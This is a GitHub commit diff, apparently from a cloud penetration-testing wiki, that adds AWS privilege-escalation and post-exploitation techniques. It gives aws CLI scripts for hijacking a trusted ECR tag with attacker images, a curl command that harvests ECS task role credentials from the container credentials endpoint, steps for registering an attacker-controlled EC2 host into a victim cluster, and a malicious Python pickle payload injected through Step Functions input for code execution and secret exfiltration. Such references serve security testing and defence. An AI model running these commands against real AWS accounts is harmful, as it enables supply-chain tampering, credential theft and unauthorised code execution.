You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
### Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
59
+
60
+
If consumers deploy by tag (for example `stable`, `prod`, `latest`) and tags are mutable, `ecr:PutImage` can be used to **repoint a trusted tag** to attacker-controlled content by uploading an image manifest under that tag.
61
+
62
+
One common approach is to copy the manifest of an existing attacker-controlled tag (or digest) and overwrite the trusted tag with it.
63
+
64
+
```bash
65
+
REGION=us-east-1
66
+
REPO="<repo_name>"
67
+
SRC_TAG="backdoor"# attacker-controlled tag already present in the repository
68
+
DST_TAG="stable"# trusted tag used by downstream systems
69
+
70
+
# 1) Fetch the manifest behind the attacker tag
71
+
MANIFEST="$(aws ecr batch-get-image \
72
+
--region "$REGION" \
73
+
--repository-name "$REPO" \
74
+
--image-ids imageTag="$SRC_TAG" \
75
+
--query 'images[0].imageManifest' \
76
+
--output text)"
77
+
78
+
# 2) Overwrite the trusted tag with that manifest
79
+
aws ecr put-image \
80
+
--region "$REGION" \
81
+
--repository-name "$REPO" \
82
+
--image-tag "$DST_TAG" \
83
+
--image-manifest "$MANIFEST"
84
+
85
+
# 3) Verify both tags now point to the same digest
**Impact**: any workload pulling `.../$REPO:$DST_TAG` will receive attacker-selected content without any change to IaC, Kubernetes manifests, or task definitions.
91
+
92
+
#### Downstream Consumer Example: Lambda Container Images Auto-Refreshing on Tag Updates
93
+
94
+
If a Lambda function is deployed as a **container image** (`PackageType=Image`) and uses an **ECR tag** (e.g., `:stable`, `:prod`) instead of a digest, overwriting that tag can turn supply-chain tampering into **code execution inside the Lambda execution role** once the function is refreshed.
95
+
96
+
How to enumerate this situation:
97
+
98
+
```bash
99
+
REGION=us-east-1
100
+
101
+
# 1) Find image-based Lambda functions and their ImageUri
102
+
aws lambda list-functions --region "$REGION" \
103
+
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
# 2) Check whether a function references a mutable tag (contains ":<tag>")
110
+
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
111
+
```
112
+
113
+
How refresh often happens:
114
+
115
+
- CI/CD or GitOps regularly calls `lambda:UpdateFunctionCode` (even with the same `ImageUri`) to force Lambda to resolve the tag again.
116
+
- Event-driven automation listens for ECR image events (push/tag updates) and triggers a refresher Lambda/automation.
117
+
118
+
If you can overwrite the trusted tag and a refresh mechanism exists, the next invocation of the function will run attacker-controlled code, which can then read environment variables, access network resources, and call AWS APIs using the Lambda role (for example, `secretsmanager:GetSecretValue`).
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
#### Join the Cluster With an Attacker Host (Register Container Instance)
60
+
61
+
Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.
62
+
63
+
See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.
64
+
59
65
### Steal sensitive info from ECR containers
60
66
61
67
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
62
68
69
+
### Steal Task Role Credentials via `ecs:ExecuteCommand`
70
+
71
+
If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:
72
+
73
+
- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
74
+
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role
75
+
76
+
See the ECS privilege escalation page for enumeration and command examples.
### `states:StartExecution` -> Input Injection Into Dangerous Sinks
77
+
78
+
`states:StartExecution` is a data-plane entrypoint. If a state machine forwards attacker-controlled input into a task that contains a dangerous sink (for example a Lambda that does `pickle.loads(base64.b64decode(payload_b64))`), you can sometimes turn **StartExecution** into **code execution** and **secret exfiltration** through the execution output, without any permission to update the state machine.
79
+
80
+
#### Discover the workflow and the invoked Lambda
81
+
82
+
If you have `states:List*` / `states:Describe*`, you can enumerate and read the state machine definition:
If you also have `lambda:GetFunction`, you can download the Lambda code bundle to understand how input is processed (and confirm whether unsafe deserialization exists):
#### Example: crafted pickle in execution input (Python)
102
+
103
+
If the Lambda unpickles attacker-controlled data, a malicious pickle can execute code during deserialization. Example payload that evaluates a Python expression in the Lambda runtime:
104
+
105
+
```bash
106
+
PAYLOAD_B64="$(python3 - <<'PY'
107
+
import base64, pickle
108
+
109
+
class P:
110
+
def __reduce__(self):
111
+
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
**Impact**: Whatever permissions the task role has (Secrets Manager reads, S3 writes, KMS decrypt, etc.) can become reachable via crafted input, and the result may be returned in the Step Functions execution output.
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
+10Lines changed: 10 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -20,6 +20,16 @@ For more info on how to download images:
20
20
21
21
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
22
22
23
+
In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.
24
+
25
+
This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:
In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).
32
+
23
33
To learn how to upload a new image/update one, check:
Once you have a shell inside the container, you can typically **extract the task role credentials** from the task credentials endpoint and reuse them outside the container:
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. This could allow the attacker to execute arbitrary code within the context of the ECS tasks.
320
+
An attacker with these permissions can often **turn "cluster membership" into a security boundary bypass**:
321
+
322
+
- Register an **attacker-controlled EC2 instance** into a victim ECS cluster (becoming a container instance)
323
+
- Set custom **container instance attributes** to satisfy **placement constraints**
324
+
- Let ECS schedule tasks onto that host
325
+
- Steal **task role credentials** (and any secrets/data inside the container) from the task running on your host
326
+
327
+
High-level workflow:
328
+
329
+
1) Obtain an EC2 instance identity document + signature from an EC2 instance you control in the target account (for example via SSM/SSH):
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
363
+
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account "bring your own EC2", see the **ECS Anywhere** technique in this page.
364
+
- Placement constraints commonly rely on container instance attributes. Enumerate them via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, and `ecs:DescribeContainerInstances` to know which attributes you need to set.
0 commit comments